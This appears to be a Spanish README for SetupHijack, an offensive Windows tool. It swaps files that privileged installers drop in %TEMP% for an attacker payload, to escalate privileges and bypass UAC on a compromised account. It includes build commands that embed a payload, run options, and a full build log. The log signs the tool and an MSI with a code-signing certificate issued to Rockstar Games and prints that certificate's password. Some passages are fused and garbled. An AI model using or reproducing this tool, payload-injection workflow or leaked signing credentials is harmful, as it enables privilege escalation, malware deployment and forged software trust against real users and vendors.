
SetupHijack es una herramienta de investigación de seguridad que explota condiciones de carrera y manejo inseguro de archivos en los procesos de instalación y actualización de aplicaciones de Windows.
SetupHijack es una herramienta de investigación de seguridad que explota condiciones de carrera y gestión insegura de archivos en procesos de instalación y actualización de Windows. Se dirige a escenarios donde instaladores o actualizadores privilegiados colocan archivos en %TEMP% u otras ubicaciones de escritura global, lo que permite a un atacante reemplazar estos archivos antes de que se ejecuten con privilegios elevados.
.exe, .msi y por lotes (p. ej., sysinfo, netstat, ipconfig).El uso previsto de esta herramienta es ejecutarse en segundo plano en una cuenta de usuario comprometida con privilegios, con el fin de elevar otro proceso secuestrando las descargas de archivos del instalador/actualizador.
El gráfico siguiente muestra ejemplos reales de casos de uso de este exploit en múltiples escenarios que pueden utilizarse para la omisión de UAC. Las omisiones de UAC se consideran un límite de seguridad cuando se ejecuta sin privilegios de administrador y son un "requisito común del atacante" para deshabilitar controles de seguridad. La explotación de operaciones privilegiadas de administrador proporciona accesibilidad genérica al exploit para que el código malicioso realice carga lateral o escale privilegios de proceso. Esta herramienta puede utilizarse para identificar aplicaciones adicionales que están expuestas a los mismos tipos de riesgo; un atacante puede esperar a la ejecución de estos procesos como medio para obtener derechos elevados sin alterar el comportamiento del usuario.

%TEMP% (y subdirectorios) en busca de archivos de instalación nuevos o modificados..bak.Este proyecto utiliza un proceso de firma de código modificado con SignToolEx.exe y SignToolExHook.dll para firmar payloads e instaladores. El uso de certificados de firma de código válidos y una marca de tiempo Authenticode aumentará su tasa de éxito al omitir las comprobaciones de confianza del instalador y del sistema operativo.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### Ejecutar (Opciones)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp, -noappdata o -nodownloads.clean restaura las copias de seguridad en todas las ubicaciones habilitadas. El indicador verbose registra todas las acciones.shadow.exe o herramientas similares en Servicios de Terminal.
%TEMP% y los ejecuta con privilegios elevados, su payload será sustituido y ejecutado.A continuación se muestra un ejemplo real de compilación y ejecución de SetupHijack, incluida la firma de código y la salida de infección:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0